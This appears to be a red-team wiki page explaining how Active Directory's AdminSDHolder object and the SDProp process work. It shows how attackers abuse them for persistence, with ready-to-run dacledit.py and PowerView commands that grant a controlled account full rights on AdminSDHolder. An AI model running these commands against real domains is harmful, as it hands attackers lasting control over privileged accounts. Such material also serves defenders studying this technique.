# AdminSDHolder

## Theory

AdminSdHolder protects domain objects against permission changes. "AdminSdHolder" either refers to a domain object, a "worker code" or an operation depending on the context.

The operation consists in the PDC (Principal Domain Controller) Emulator restoring pre-set permissions for high-privilege users every 60 minutes. Understanding what DACLs/ACEs are and how to abuse them is a requirement to the understanding of this persistence technique (see [Access Controls abuse](https://red.infiltr8.io/ad/persistence/broken-reference)).

The operation is conducted by a "worker code" called **SDProp** (Security Descriptor propagator).

SDProp propagates AdminSdHolder's DACL to every protected object every 60 minutes if their DACL is different.

The AdminSdHolder object is located at `CN=AdminSdHolder,CN=SYSTEM,DC=DOMAIN,DC=LOCAL`. For instance, the default AdminSdHolder object's DACL contains the following.

* Authenticated Users: **Read**
* SYSTEM: **Full Control**
* Administrators: **Modify**
* Domain Admins: **ReadAndExecute**
* Enterprise Admins: **ReadAndExecute**

The default protected objects are the following.

* members (possibly nested) of the following groups: `Account Operators`, `Administrators`, `Backup Operators`, `Domain Admins`, `Domain Controllers`, `Enterprise Admins`, `Print Operators`, `Read-only Domain Controllers`, `Replicator`, `Schema Admins`, `Server Operators`
* the following users: `Administrator`, `krbtgt`

{% hint style="info" %}
When talking about AdminSdHolder, the **AdminCount** attribute is usually mentioned. This attribute is automatically set on an object when adding it to a protected group. Originally, the purpose was to improved SDProp's performance. AdminCount cannot be used for malicious purposes and is now mainly informative.
{% endhint %}

## Practice

Once sufficient privileges are obtained, attackers can abuse AdminSdHolder to get persistence on the domain by modifying the AdminSdHolder object's DACL.

Let's say an attacker adds the following ACE to AdminSdHolder's DACL: `attackercontrolleduser: Full Control`.

At the next run of SDProp, `attackercontrolleduser` will have a `GenericAll` privilege over all protected objects (Domain Admins, Domain Controllers, and so on).

{% tabs %}
{% tab title="UNIX-like" %}
From UNIX-like systems, this can be done with [Impacket](https://github.com/SecureAuthCorp/impacket)'s dacledit.py (Python).

:warning: *At the time of writing, May 2nd 2022, the* [*Pull Request (#1291)*](https://github.com/SecureAuthCorp/impacket/pull/1291) *is still pending.*

```bash
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlled_object' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
```

AdminSdHolder's DACL can then be inspected with the same utility.

```bash
dacledit.py -action 'read' -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' 'domain'/'user':'password'
```

{% endtab %}

{% tab title="Windows" %}
This can be done in PowerShell with `Add-DomainObjectAcl` from [PowerSploit](https://github.com/PowerShellMafia/PowerSploit)'s [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) module.

```powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity spotless -Verbose -Rights All
```

AdminSdHolder's DACL can then be inspected with `Get-DomainObjectAcl`.

```powershell
# Inspect all AdminSdHolder's DACL
Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs

# Inspect specific rights an object has on AdminSdHolder (example with a user)
sid = Get-DomainUser "someuser" | Select-Object -ExpandProperty objectsid
Get-DomainObjectAcl -SamAccountName "AdminSdHolder" -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq $sid}
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://adsecurity.org/?p=1906>" %}

{% embed url="<https://docs.microsoft.com/en-us/archive/blogs/askds/five-common-questions-about-adminsdholder-and-sdprop>" %}

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence>" %}